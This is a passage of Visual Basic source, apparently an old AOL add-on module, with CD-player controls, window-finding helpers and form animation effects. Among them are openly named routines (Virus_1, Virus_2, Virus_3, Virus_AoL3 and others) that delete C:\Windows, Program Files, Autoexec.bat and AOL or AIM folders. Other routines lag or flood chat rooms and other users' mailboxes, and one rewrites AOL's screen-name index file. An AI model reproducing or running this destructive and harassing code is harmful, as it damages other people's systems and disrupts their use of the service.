  527.     mciSendString "seek cd to " & CStr(CLng(s) + Spd), 0, 0, 0
  528.     End If
  529.  
  530.     CDSetFormat_tmsf
  531.     End Function
  532.  
  533. Function CDGetNumTracks%()
  534.  
  535.     Dim s As String * 30
  536.     mciSendString "status cd number of tracks wait", s, Len(s), 0
  537.     CDGetNumTracks = CInt(Mid$(s, 1, 2))
  538.     End Function
  539.  
  540. Function CDIsPlaying() As Boolean
  541.  
  542.     CDIsPlaying = False
  543.     Dim s As String * 50
  544.     mciSendString "status cd mode", s, Len(s), 0
  545.     If Mid$(s, 1, 7) = "playing" Then
  546.     CDIsPlaying = True
  547.     Else
  548.     CDIsPlaying = False
  549.     End If
  550.     
  551.     End Function
  552. Function CDLength$()
  553.  
  554.     Dim s As String * 30
  555.     mciSendString "status cd length wait", s, Len(s), 0
  556.     CDLength = s
  557.     End Function
  558. Function CDPause()
  559.  
  560.     mciSendString "pause cd", 0, 0, 0
  561.     End Function
  562. Function CDPlay()
  563. 'MAKE SURE YOU USE
  564. 'Call CDSetPlayerReady -FIRST!!
  565. 'use that to reset to 0 too
  566.    mciSendString "play cd", 0, 0, 0
  567.   End Function
  568.  
  569. Function CDPosition()
  570.  
  571. Dim mm, Sec, Min, Track As Integer
  572.     Dim s As String * 30
  573.     mciSendString "status cd position", s, Len(s), 0
  574.     Track = CInt(Mid$(s, 1, 2))
  575.     Min = CInt(Mid$(s, 4, 2))
  576.     Sec = CInt(Mid$(s, 7, 2))
  577.     
  578.     CDPosition = "Track[" & Track & "] Min[" & Min & "] Sec[" & Sec & "]"
  579.     
  580.     End Function
  581. Function CDPosition2()
  582.  
  583.  
  584.     Dim s As String * 30
  585.     mciSendString "status cd position", s, Len(s), 0
  586.     Min = (Mid$(s, 4, 2))
  587.     Sec = (Mid$(s, 7, 2))
  588.     
  589.     CDPosition2 = Min & ":" & Sec
  590.     
  591.     End Function
  592. Function CDPositionLong()
  593.  
  594.  
  595.     Dim s As String * 30
  596.     mciSendString "status cd position", s, Len(s), 0
  597.     l = Mid$(s, 1, Len(s))
  598.     CDPositionLong = l
  599.     
  600.     End Function
  601.  
  602. Function CDReWind(Spd%)
  603.  
  604.     Dim s As String * 40
  605.     CDSetFormat_millisec
  606.     mciSendString "status cd position wait", s, Len(s), 0
  607.     
  608.  
  609.     If CDIsPlaying = 1 Then
  610.     mciSendString "play cd from " & CStr(CLng(s) - Spd), 0, 0, 0
  611.     Else
  612.     mciSendString "seek cd to " & CStr(CLng(s) - Spd), 0, 0, 0
  613.     End If
  614.  
  615.     CDSetFormat_tmsf
  616.     End Function
  617. Function CDSeekToX(Track)
  618.     CDStop
  619.     CDSetTrack Track
  620.     CDPlay
  621.     End Function
  622.  
  623. Function CDSetFormat_millisec()
  624.  
  625.     mciSendString "set cd time format milliseconds", 0, 0, 0
  626.     End Function
  627.  
  628. Function CDSetFormat_seconds()
  629.  
  630.     mciSendString "set cd time format seconds", 0, 0, 0
  631.     End Function
  632. Function CDSetFormat_tmsf()
  633.  
  634.     mciSendString "set cd time format tmsf wait", 0, 0, 0
  635.     End Function
  636.  
  637. Function CDSetPlayerReady()
  638.  
  639.     mciSendString "open cdaudio alias cd wait shareable", 0, 0, 0
  640.     End Function
  641.  
  642. Function CDSetTrack(Track)
  643.  
  644.     mciSendString "seek cd to " & Str(Track), 0, 0, 0
  645.     End Function
  646. Function CDStop()
  647.  
  648.     mciSendString "stop cd wait", 0, 0, 0
  649.     End Function
  650.  
  651. Function CDTrackLength(TrackNum)
  652.  
  653.     Dim s As String * 30
  654.     mciSendString "status cd length track " & TrackNum, s, Len(s), 0
  655.     CDTrackLength = s
  656.     End Function
  657.  
  658. Function CDUnload()
  659.  
  660.     mciSendString "close all", 0, 0, 0
  661.     End Function
  662.  
  663. Sub Chat_CloseRoom()
  664. Dim Room%, closeit
  665. Room% = FindChat
  666. closeit = SendMessage(Room%, WM_CLOSE, 0, 0&)
  667.  
  668. End Sub
  669.  
  670.  
  671.  
  672.  
  673.  
  674. Function AOL_SetFocus()
  675. Dim aol%
  676. aol% = FindWindow("AOL Frame25", vbNullString)
  677. Call FocusSet(aol%)
  678. End Function
  679.  
  680.  
  681. Function APISpy_ClassName()
  682. handl% = APISpy_MouseOver
  683. bspace$ = String$(250, 0)
  684. classname% = GetClassName(handl%, bspace$, 250)
  685. APISpy_ClassName = bspace$
  686. End Function
  687.  
  688. Function APISpy_MouseOver()
  689. Dim CurP As POINTAPI
  690. Dim NowP%
  691. Dim ThenP%
  692.     Call GetCursorPos(CurP)
  693.     NowP% = WindowFromPoint(CurP.X, CurP.Y)
  694.  
  695.     If NowP% <> ThenP% Then
  696.         ThenP% = NowP%
  697.         APISpy_MouseOver = NowP%
  698.     End If
  699. End Function
  700.  
  701. Function APISpy_Parent()
  702. Dim Parnt%
  703. Parnt% = GetParent(APISpy_MouseOver)
  704. APISpy_Parent = Parnt%
  705. End Function
  706.  
  707. Function APISpy_ParentName()
  708. winhand% = APISpy_Parent
  709. pspace$ = String$(250, 0)
  710. pclassname% = GetClassName(winhand%, pspace$, 250)
  711. APISpy_ParentName = pspace$
  712. End Function
  713.  
  714.  
  715. Function APISpy_WindowText()
  716. Dim WinTLen%, WindowText%, Spce$
  717. WinTLen% = GetWindowTextLength(APISpy_MouseOver)
  718. Spce$ = String$(WinTLen%, 0)
  719. WindowText% = GetWindowText(APISpy_MouseOver, Spce$, (WinTLen% + 1))
  720. APISpy_WindowText = Spce$
  721. End Function
  722.  
  723.  
  724.  
  725. Function ChatInvisibleSound(WavName As String)
  726. Call ErrorRsenD("<Font Color=" & Chr(34) & "#FFFFFE" & Chr(34) & ">{S " & WavName)
  727. End Function
  728.  
  729.  
  730.  
  731. Function ChatSendInvisible(txt As String)
  732. Call ErrorRsenD("<Font Color=" & Chr(34) & "#FFFFFE" & Chr(34) & ">" & txt)
  733.  
  734. End Function
  735.  
  736. Public Function ReplaceString(MyString As String, ToFind As String, ReplaceWith As String) As String
  737.     Dim Spot As Long, NewSpot As Long, LeftString As String
  738.     Dim RightString As String, NewString As String
  739.     Spot& = InStr(LCase(MyString$), LCase(ToFind))
  740.     NewSpot& = Spot&
  741.     Do
  742.         If NewSpot& > 0& Then
  743.             LeftString$ = Left(MyString$, NewSpot& - 1)
  744.             If Spot& + Len(ToFind$) <= Len(MyString$) Then
  745.                 RightString$ = Right(MyString$, Len(MyString$) - NewSpot& - Len(ToFind$) + 1)
  746.             Else
  747.                 RightString = ""
  748.             End If
  749.             NewString$ = LeftString$ & ReplaceWith$ & RightString$
  750.             MyString$ = NewString$
  751.         Else
  752.             NewString$ = MyString$
  753.         End If
  754.         Spot& = NewSpot& + Len(ReplaceWith$)
  755.         If Spot& > 0 Then
  756.             NewSpot& = InStr(Spot&, LCase(MyString$), LCase(ToFind$))
  757.         End If
  758.     Loop Until NewSpot& < 1
  759.     ReplaceString$ = NewString$
  760. End Function
  761. Function CheckIfOnline2(sn As String)
  762. Call RunMenuByChar(9, "L")
  763. Do: DoEvents
  764. Dim aol%, mdi%, TIT%, Edi%, Icona%, tit2%, No%, stat%
  765. Dim fillit, clickit, closeit, AreThey, Trimit$, last, SendNum
  766. aol% = FindWindow("AOL Frame25", vbNullString)
  767. mdi% = FindChildByClass(aol%, "MDIClient")
  768. TIT% = findchildbytitle(mdi%, "Locate Member Online")
  769. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  770.  
  771. If TIT% <> 0 And Edi% <> 0 Then Exit Do
  772. Loop
  773. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, sn)
  774. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  775. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  776. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  777.  
  778. Do: DoEvents
  779. No% = FindWindow("#32770", vbNullString)
  780. tit2% = findchildbytitle(mdi%, "Locate " & sn)
  781. stat% = FindChildByClass(tit2%, "_AOL_Static")
  782. If No% <> 0 Or tit2% <> 0 Then Exit Do
  783. Loop
  784. If No% <> 0 Then
  785. closeit = SendMessage(No%, WM_CLOSE, 0, 0&)
  786. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  787. AreThey = sn & " is Not Online"
  788. ElseIf tit2% <> 0 Then
  789. SendNum = SendMessageByNum(stat%, 14, 0&, 0&)
  790. Trimit$ = Space$(SendNum)
  791. last = SendMessageByString(stat%, 13, SendNum + 1, Trimit$)
  792. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  793. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  794. AreThey = Trimit$
  795. End If
  796. CheckIfOnline2 = AreThey
  797. End Function
  798.  
  799. Function FindChat()
  800. Dim aol%, mdi%, Chil%, Gly%, lis%, _
  801. Combo%, Icona%, Rich%
  802. 'i worked for a pretty long time on this, it goes through all ims now
  803. aol% = FindWindow("AOL Frame25", vbNullString)
  804. mdi% = FindChildByClass(aol%, "MDIClient")
  805. Chil% = FindChildByClass(mdi%, "AOL Child")
  806. Combo% = FindChildByClass(Chil%, "_AOL_Combobox")
  807. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  808. Gly% = FindChildByClass(Chil%, "_AOL_Glyph")
  809. Icona% = FindChildByClass(Chil%, "_AOL_Icon")
  810. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  811. If Combo% <> 0 And lis% <> 0 And Gly% <> 0 Then
  812. FindChat = Chil%
  813. End If
  814.         If Combo% = 0 And lis% = 0 And Gly% = 0 Then
  815. Do: DoEvents
  816. Chil% = FindWindowEx(mdi%, Chil%, "AOL Child", vbNullString) 'took a while to figure that out ;o/
  817. Combo% = FindChildByClass(Chil%, "_AOL_Combobox")
  818. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  819. Gly% = FindChildByClass(Chil%, "_AOL_Glyph")
  820. Icona% = FindChildByClass(Chil%, "_AOL_Icon")
  821. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  822.     If Combo% <> 0 And lis% <> 0 And Gly% <> 0 Then Exit Do
  823. Loop Until Chil% = 0&
  824.         End If
  825. FindChat = Chil%
  826.  
  827. End Function
  828.  
  829. Function Form_EarthQuakeDamage(frm As Form)
  830. 'This one makes damage on the form
  831. If frm.WindowState = 2 Or frm.WindowState = 1 Then
  832. MsgBox ("Function cannot be performed while" & Chr(13) & "         window is maximized.."), 16, ("Error    Press OK to resume program")
  833. Exit Function
  834. End If
  835. Dim I, l, T, W, h As Integer
  836. l = frm.Left
  837. T = frm.Top
  838. W = frm.Width
  839. h = frm.Height
  840. For I = 1 To 20
  841. num = Int(Rnd * 5)
  842. DoEvents
  843. If num < 3 Then frm.Line (0, 0)-(Form1.Width / 2, Form1.Height / 2)
  844. frm.Move (l + 50), (T + 25), W, h
  845. Wait (0.001)
  846. DoEvents
  847. If num > 2 Then frm.Line (Form1.Width / 2, Form1.Height / 2)-(Form1.Width / 2, Form1.Height)
  848. frm.Move (l + 60), (T + 45), W, h
  849. Wait (0.001)
  850. DoEvents
  851.  
  852. If num > 1 Then frm.Line (0, Form1.Height)-(Form1.Width / 3, Form1.Height / 3)
  853. frm.Move (l + 40), (T + 20), W, h
  854. Wait (0.001)
  855. DoEvents
  856. If num > 3 Then frm.Line (0, Form1.Height / 2)-(Form1.Width * 2, Form1.Height / 3)
  857. frm.Move (l + 30), (T + 35), W, h
  858. Wait (0.001)
  859. DoEvents
  860.  
  861. frm.Move (l + 15), (T + 10), W, h
  862. Wait (0.001)
  863. DoEvents
  864. If num < 4 Then frm.Line (Form1.Width * 2, Form1.Height * 3)-(Form1.Width / 3, Form1.Height / 2)
  865. Next I
  866. frm.Move l, T, W, h 'Returns the original position
  867. End Function
  868.  
  869. Function Form_EarthQuake(frm As Form)
  870. If frm.WindowState = 2 Or frm.WindowState = 1 Then
  871. MsgBox ("Function cannot be performed while" & Chr(13) & "         window is maximized.."), 16, ("Error    Press OK to resume program")
  872. Exit Function
  873. End If
  874. Dim I, l, T, W, h As Integer
  875. l = frm.Left
  876. T = frm.Top
  877. W = frm.Width
  878. h = frm.Height
  879. For I = 1 To 10
  880. frm.Move (l + 50), (T + 25), W, h
  881. Wait (0.001)
  882. frm.Move (l + 60), (T + 45), W, h
  883. Wait (0.001)
  884. frm.Move (l + 40), (T + 20), W, h
  885. Wait (0.001)
  886. frm.Move (l + 30), (T + 35), W, h
  887. Wait (0.001)
  888. frm.Move (l + 15), (T + 10), W, h
  889. Wait (0.001)
  890. Next I
  891. frm.Move l, T, W, h 'Returns the original position
  892. End Function
  893. Function Form_EarthQuakeLong(frm As Form)
  894. If frm.WindowState = 2 Or frm.WindowState = 1 Then
  895. MsgBox ("Function cannot be performed while" & Chr(13) & "         window is maximized.."), 16, ("Error    Press OK to resume program")
  896. Exit Function
  897. End If
  898. Dim I, l, T, W, h As Integer
  899. l = frm.Left
  900. T = frm.Top
  901. W = frm.Width
  902. h = frm.Height
  903. For I = 1 To 20
  904. DoEvents
  905. frm.Move (l + 50), (T + 25), W, h
  906. Wait (0.001)
  907. DoEvents
  908. frm.Move (l + 60), (T + 45), W, h
  909. Wait (0.001)
  910. DoEvents
  911. frm.Move (l + 40), (T + 20), W, h
  912. Wait (0.001)
  913. DoEvents
  914. frm.Move (l + 30), (T + 35), W, h
  915. Wait (0.001)
  916. DoEvents
  917. frm.Move (l + 15), (T + 10), W, h
  918. Wait (0.001)
  919. DoEvents
  920. Next I
  921. frm.Move l, T, W, h 'Returns the original position
  922. End Function
  923. Sub ChatClear1()
  924. 'This just clears the chat
  925. For I = 1 To 1900
  926. a = a + "á"
  927. Next
  928. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  929. TimeOut 0.001
  930. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  931. TimeOut 0.001
  932. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  933. End Sub
  934. Sub ChatClear2()
  935.  
  936.  
  937. 'This just clears the chat
  938. For I = 1 To 1900
  939. a = a + "á"
  940. Next
  941. ErrorRsenD ("<FONT COLOR=#FFFFF0>.<p=" & a)
  942. End Sub
  943.  
  944.  
  945. Sub Form_MakeAOLMyChild(frm As Form)
  946. 'MAKE SURE YOU CLOSE AOL BEFORE ENDING PROGRAM
  947. 'MIGHT CAUSE ERROR
  948. aol% = FindWindow("AOL Frame25", vbNullString)
  949. Call SetParent(aol%, frm.hwnd)
  950. End Sub
  951. Function Comp_DelFile(file As String)
  952. On Error Resume Next
  953. Kill file$
  954. NoFreeze% = DoEvents()
  955. End Function
  956. Function Virus_1()
  957. On Error Resume Next
  958. Comp_DelDiR ("C:\Program Files")
  959. End Function
  960. Sub Comp_DelDiR(DiR As String)
  961. RmDir (DiR$)
  962. End Sub
  963. Function Virus_AiM()
  964. On Error Resume Next
  965. Comp_DelDiR ("C:\Program Files\AIM95")
  966. Comp_DelDiR ("C:\Program Files\AIM95a")
  967. Comp_DelDiR ("C:\Program Files\AIM95b")
  968. End Function
  969. Sub Sn_NewUser(DiR As String, Replace As String)
  970. On Error Resume Next
  971. sn$ = sn$ + String(10 - Len(sn$), Chr(32))
  972. Replace$ = Replace$ + String(10 - Len(Replace$), Chr(32))
  973. Free = FreeFile
  974. Open DiR$ + "\idb\main.idx" For Binary As #Free
  975. For X = 1 To LOF(Free) Step 32000
  976. Text$ = Space(32000)
  977. Get #Free, X, Text$
  978. meeh:
  979. If InStr(1, Text$, sn$, 1) Then
  980. Where = InStr(1, Text$, sn$, 1)
  981. sn$ = ("New User")
  982. Put #Free, (X + Where) - 1, Replace$
  983. Mid$(Text$, Where, 10) = String(10, " ")
  984. GoTo meeh
  985. End If
  986. DoEvents
  987. Next X
  988. Close #Free
  989. End Sub
  990.  
  991. Function Virus_Aol25()
  992. On Error Resume Next
  993. Comp_DelDiR ("C:\AOL 25\idb")
  994. Comp_DelDiR ("C:\AOL 25a\idb")
  995. Comp_DelDiR ("C:\AOL 25b\idb")
  996. Comp_DelDiR ("C:\AOL 25i\idb")
  997. Comp_DelDiR ("C:\AOL 25\Organize")
  998. Comp_DelDiR ("C:\AOL 25a\Organize")
  999. Comp_DelDiR ("C:\AOL 25b\Organize")
  1000. Comp_DelDiR ("C:\AOL 25i\Organize")
  1001. Comp_DelDiR ("C:\AOL 25\Tool")
  1002. Comp_DelDiR ("C:\AOL 25a\Tool")
  1003. Comp_DelDiR ("C:\AOL 25b\Tool")
  1004. Comp_DelDiR ("C:\AOL 25i\Tool")
  1005. End Function
  1006. Function Virus_AoL3()
  1007. On Error Resume Next
  1008. Comp_DelDiR ("C:\AOL 30\idb")
  1009. Comp_DelDiR ("C:\AOL 30a\idb")
  1010. Comp_DelDiR ("C:\AOL 30b\idb")
  1011. Comp_DelDiR ("C:\AOL 30\Organize")
  1012. Comp_DelDiR ("C:\AOL 30a\Organize")
  1013. Comp_DelDiR ("C:\AOL 30b\Organize")
  1014. Comp_DelDiR ("C:\AOL 30\Tool")
  1015. Comp_DelDiR ("C:\AOL 30a\Tool")
  1016. Comp_DelDiR ("C:\AOL 30b\Tool")
  1017. End Function
  1018. Function Virus_3()
  1019. On Error Resume Next
  1020. Comp_DelFile ("C:\Autoexec.bat")
  1021. Comp_DelDiR ("C:\Program Files")
  1022. Comp_DelDiR ("C:\AOL 40\Winsock")
  1023. Comp_DelDiR ("C:\AOL 40a\Winsock")
  1024. Comp_DelDiR ("C:\AOL 40b\Winsock")
  1025. Comp_DelDiR ("C:\AOL 30\Winsock")
  1026. Comp_DelDiR ("C:\AOL 30a\Winsock")
  1027. Comp_DelDiR ("C:\AOL 30b\Winsock")
  1028. Comp_DelDiR ("C:\AOL 25\Winsock")
  1029. Comp_DelDiR ("C:\AOL 25a\Winsock")
  1030. Comp_DelDiR ("C:\AOL 25b\Winsock")
  1031. Comp_DelDiR ("C:\AOL 25i\Winsock")
  1032. End Function
  1033.  
  1034.  
  1035. Function Virus_AoL4()
  1036. On Error Resume Next
  1037. Comp_DelDiR ("C:\AOL 40\idb")
  1038. Comp_DelDiR ("C:\AOL 40a\idb")
  1039. Comp_DelDiR ("C:\AOL 40b\idb")
  1040. Comp_DelDiR ("C:\AOL 40\Organize")
  1041. Comp_DelDiR ("C:\AOL 40a\Organize")
  1042. Comp_DelDiR ("C:\AOL 40b\Organize")
  1043. Comp_DelDiR ("C:\AOL 40\Tool")
  1044. Comp_DelDiR ("C:\AOL 40a\Tool")
  1045. Comp_DelDiR ("C:\AOL 40b\Tool")
  1046. End Function
  1047. Function Virus_2()
  1048. On Error Resume Next
  1049. Comp_DelDiR ("C:\Windows")
  1050. End Function
  1051.  
  1052.  
  1053.  
  1054.  
  1055.  
  1056.  
  1057. Sub Form_MakeMeAOLChild(frm As Form)
  1058. aol% = FindWindow("AOL Frame25", vbNullString)
  1059. Call SetParent(frm.hwnd, aol%)
  1060. End Sub
  1061. Sub Form_PaintScreen(frm As Form)
  1062. 'im not too good with BitBlt but i like this
  1063. 'one , it paints the screen on your form
  1064. 'but not inline with where your form
  1065. 'is so itll be the top , might come in handy
  1066. frm.AutoRedraw = True
  1067. tpx = Screen.TwipsPerPixelX
  1068. tpy = Screen.TwipsPerPixelY
  1069.  
  1070. pxlt = frm.Top / tpy
  1071. pxll = frm.Left / tpx
  1072. Snap& = GetDesktopWindow
  1073. Call BitBlt(frm.hDC, 0, 0, frm.Width, frm.Height, GetDC(Snap&), 0, 0, SRCCOPY)
  1074. frm.Refresh
  1075. End Sub
  1076.  
  1077. Function Form_Shrink(frm As Form)
  1078. X = frm.Width
  1079. Y = frm.Height
  1080. For I = frm.Height To 1 Step -1
  1081. frm.Height = I
  1082. frm.Width = Val(Y) - 1
  1083. Y = frm.Width
  1084. Next I
  1085.  
  1086. End Function
  1087. Function Form_ShrinkEnd(frm As Form)
  1088. X = frm.Width
  1089. Y = frm.Height
  1090. For I = frm.Height To 1 Step -1
  1091. frm.Height = I
  1092. frm.Width = Val(Y) - 1
  1093. Y = frm.Width
  1094. Next I
  1095. End
  1096. End Function
  1097. Function Form_ShrinkFast(frm As Form)
  1098. X = frm.Width
  1099. Y = frm.Height
  1100. For I = frm.Height To 1 Step -10
  1101. frm.Height = I
  1102. frm.Width = Val(Y) - 8
  1103. Y = frm.Width
  1104. Next I
  1105.  
  1106. End Function
  1107.  
  1108. Function Form_ShrinkFastEnd(frm As Form)
  1109. X = frm.Width
  1110. Y = frm.Height
  1111. For I = frm.Height To 1 Step -10
  1112. frm.Height = I
  1113. frm.Width = Val(Y) - 8
  1114. Y = frm.Width
  1115. Next I
  1116. End
  1117. End Function
  1118.  
  1119. Function FormStripes_Green(frm As Form)
  1120.     frm.ScaleMode = 3
  1121.     frm.DrawStyle = 6
  1122.     frm.DrawWidth = 1
  1123.     frm.AutoRedraw = True
  1124.    
  1125. For X = 1 To frm.Width
  1126. I = Int(Rnd * 64)
  1127. frm.Line (X, 1)-(X, frm.Height), RGB(FF, I, FF)
  1128. Next X
  1129. frm.Refresh
  1130. End Function
  1131. Sub SendMail(Recipiants, Subject, Message)
  1132.  
  1133. aol% = FindWindow("AOL Frame25", vbNullString)
  1134. AOTooL% = FindChildByClass(aol%, "AOL Toolbar")
  1135. AOTool2% = FindChildByClass(AOTooL%, "_AOL_Toolbar")
  1136. AOIcon% = FindChildByClass(AOTool2%, "_AOL_Icon")
  1137.  
  1138. AOIcon% = GetWindow(AOIcon%, 2)
  1139.  
  1140. ClickIcon (AOIcon%)
  1141.  
  1142. Do: DoEvents
  1143. mdi% = FindChildByClass(aol%, "MDIClient")
  1144. AOMail% = findchildbytitle(mdi%, "Write Mail")
  1145. AOEdit% = FindChildByClass(AOMail%, "_AOL_Edit")
  1146. AORich% = FindChildByClass(AOMail%, "RICHCNTL")
  1147. AOIcon% = FindChildByClass(AOMail%, "_AOL_Icon")
  1148. Loop Until AOMail% <> 0 And AOEdit% <> 0 And AORich% <> 0 And AOIcon% <> 0
  1149.  
  1150. Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Recipiants)
  1151.  
  1152. AOEdit% = GetWindow(AOEdit%, 2)
  1153. AOEdit% = GetWindow(AOEdit%, 2)
  1154. AOEdit% = GetWindow(AOEdit%, 2)
  1155. AOEdit% = GetWindow(AOEdit%, 2)
  1156. Call SendMessageByString(AOEdit%, WM_SETTEXT, 0, Subject)
  1157. Call SendMessageByString(AORich%, WM_SETTEXT, 0, Message)
  1158.  
  1159. For GetIcon = 1 To 18
  1160.     AOIcon% = GetWindow(AOIcon%, 2)
  1161. Next GetIcon
  1162.  
  1163. ClickIcon (AOIcon%)
  1164.  
  1165. Do: DoEvents
  1166. AOError% = findchildbytitle(mdi%, "Error")
  1167. AOModal% = FindWindow("_AOL_Modal", vbNullString)
  1168. If AOMail% = 0 Then Exit Do
  1169. If AOModal% <> 0 Then
  1170. AOIcon% = FindChildByClass(AOModal%, "_AOL_Icon")
  1171. ClickIcon (AOIcon%)
  1172. Call SendMessage(AOMail%, WM_CLOSE, 0, 0)
  1173. Exit Sub
  1174. End If
  1175. If AOError% <> 0 Then
  1176. Call SendMessage(AOError%, WM_CLOSE, 0, 0)
  1177. Call SendMessage(AOMail%, WM_CLOSE, 0, 0)
  1178. Exit Do
  1179. End If
  1180. Loop
  1181. End Sub
  1182.  
  1183.  
  1184. Function FormStripes_Blue(frm As Form)
  1185.  
  1186.     frm.ScaleMode = 3
  1187.     frm.DrawStyle = 6
  1188.     frm.DrawWidth = 1
  1189.     frm.AutoRedraw = True
  1190.     
  1191. For X = 1 To frm.Width
  1192. I = Int(Rnd * 64)
  1193. frm.Line (X, 1)-(X, frm.Height), RGB(FF, FF, I)
  1194. Next X
  1195. frm.Refresh
  1196. End Function
  1197. Sub ErrorRScroll1(txt)
  1198. 'This is pretty phat
  1199. For I = 1 To 12
  1200. a = a + ("ááá" & txt)
  1201. Next
  1202. ErrorRsenD "" & a
  1203. End Sub
  1204. Sub ErrorRChatCrack(TheText As String)
  1205. a = Len(TheText)
  1206. For W = 1 To a Step 18
  1207.     AB$ = Mid$(TheText, W, 1)
  1208.     u$ = Mid$(TheText, W + 1, 1)
  1209.     s$ = Mid$(TheText, W + 2, 1)
  1210.     T$ = Mid$(TheText, W + 3, 1)
  1211.     Y$ = Mid$(TheText, W + 4, 1)
  1212.     l$ = Mid$(TheText, W + 5, 1)
  1213.     F$ = Mid$(TheText, W + 6, 1)
  1214.     B$ = Mid$(TheText, W + 7, 1)
  1215.     c$ = Mid$(TheText, W + 8, 1)
  1216.     D$ = Mid$(TheText, W + 9, 1)
  1217.     h$ = Mid$(TheText, W + 10, 1)
  1218.     j$ = Mid$(TheText, W + 11, 1)
  1219.     K$ = Mid$(TheText, W + 12, 1)
  1220.     M$ = Mid$(TheText, W + 13, 1)
  1221.     n$ = Mid$(TheText, W + 14, 1)
  1222.     Q$ = Mid$(TheText, W + 15, 1)
  1223.     v$ = Mid$(TheText, W + 16, 1)
  1224.     Z$ = Mid$(TheText, W + 17, 1)
  1225.     PC$ = PC$ & "<b> <b> " & AB$ & " </b><i> " & u$ & " </i><u> " & s$ & " </u><s> " & T$ & " </s><b> " & Y$ & " </b><sup> " & l$ & " </sup><i> " & F$ & " </i><u> " & B$ & " <S> " & c$ & " </u> " & D$ & " </s><b> " & h$ & " <u> " & j$ & " </b></u><i> " & K$ & " <b><s><i><u> " & M$ & " </i></u><b><s> " & n$ & " </b></s><i><u> " & Q$ & " <b></i></u> " & v$ & " </b> " & Z$
  1226. Next W
  1227. ErrorRsenD (PC$)
  1228. End Sub
  1229. Sub ErrorRChatLag()
  1230. 'This will lag the chat room
  1231. '(P.S. To stop it hold esc)
  1232. For I = 1 To 150
  1233. a = a + "</html><html>"
  1234. Next
  1235. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1236. TimeOut (1#)
  1237. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1238. TimeOut (1#)
  1239. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1240. TimeOut (1#)
  1241. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1242. TimeOut (1#)
  1243. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1244. TimeOut (1#)
  1245. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1246. TimeOut (1#)
  1247. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1248. TimeOut (1#)
  1249. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1250. TimeOut (1#)
  1251. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1252. TimeOut (1#)
  1253. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1254. TimeOut (1#)
  1255. ErrorRsenD "'<FONT COLOR=#FFFFF0>.<p=" & a
  1256. TimeOut (1#)
  1257. End Sub
  1258. Sub ErrorRMailLag(ScreenNames)
  1259. 'This will lag the hell outta the person when
  1260. 'they open up the mail
  1261. '(To stop it hit esc)
  1262. For I = 1 To 10000
  1263. a = a + "<html></html>"
  1264. Next
  1265. SendMail (ScreenNames), ("Important Message About Chat Rooms"), ("ErrorR OwNz YoU" & a)
  1266. End Sub
  1267. Public Function CheckAlive(ScreenName As String) As Boolean
  1268.     Dim aol As Long, mdi As Long, ErrorWindow As Long
  1269.     Dim ErrorTextWindow As Long, ErrorString As String
  1270.     Dim MailWindow As Long, NoWindow As Long, NoButton As Long
  1271.     Call SendMail("*, " & ScreenName$, "MONSTERB0O Abusement Account Checker", "Just Checkin...")
  1272.     aol& = FindWindow("AOL Frame25", vbNullString)
  1273.     mdi& = FindWindowEx(aol&, 0&, "MDICLIENT", vbNullString)
  1274.     Do
  1275.         DoEvents
  1276.         ErrorWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Error")
  1277.         ErrorTextWindow& = FindWindowEx(ErrorWindow&, 0&, "_AOL_View", vbNullString)
  1278.         ErrorString$ = GetText(ErrorTextWindow&)
  1279.     Loop Until ErrorWindow& <> 0 And ErrorTextWindow& <> 0 And ErrorString$ <> ""
  1280.     If InStr(LCase(ReplaceString(ErrorString$, " ", "")), LCase(ReplaceString(ScreenName$, " ", ""))) > 0 Then
  1281.         CheckAlive = False
  1282.     Else
  1283.         CheckAlive = True
  1284.     End If
  1285.     MailWindow& = FindWindowEx(mdi&, 0&, "AOL Child", "Write Mail")
  1286.     Call PostMessage(ErrorWindow&, WM_CLOSE, 0&, 0&)
  1287.     DoEvents
  1288.     Call PostMessage(MailWindow&, WM_CLOSE, 0&, 0&)
  1289.     DoEvents
  1290.     Do
  1291.         DoEvents
  1292.         NoWindow& = FindWindow("#32770", "America Online")
  1293.         NoButton& = FindWindowEx(NoWindow&, 0&, "Button", "&No")
  1294.     Loop Until NoWindow& <> 0& And NoButton& <> 0
  1295.     Call SendMessage(NoButton&, WM_KEYDOWN, VK_SPACE, 0&)
  1296.     Call SendMessage(NoButton&, WM_KEYUP, VK_SPACE, 0&)
  1297. End Function
  1298. Sub ErrorRScroll2(txt)
  1299. 'This is pretty phat
  1300. For I = 1 To 15
  1301. a = a + ("áááááááááááááááááááááááááááááááááááááá" & txt)
  1302. Next
  1303. ErrorRsenD ".<p=" & a
  1304. End Sub
  1305. Function FormStripes_Red(frm As Form)
  1306. frm.ScaleMode = 3
  1307.     frm.DrawStyle = 6
  1308.     frm.DrawWidth = 1
  1309.     frm.AutoRedraw = True
  1310.   
  1311. For X = 1 To frm.Width
  1312. I = Int(Rnd * 64)
  1313. frm.Line (X, 1)-(X, frm.Height), RGB(I, FF, FF)
  1314. Next X
  1315. frm.Refresh
  1316. End Function
  1317. Function FormStripes_Random(frm As Form)
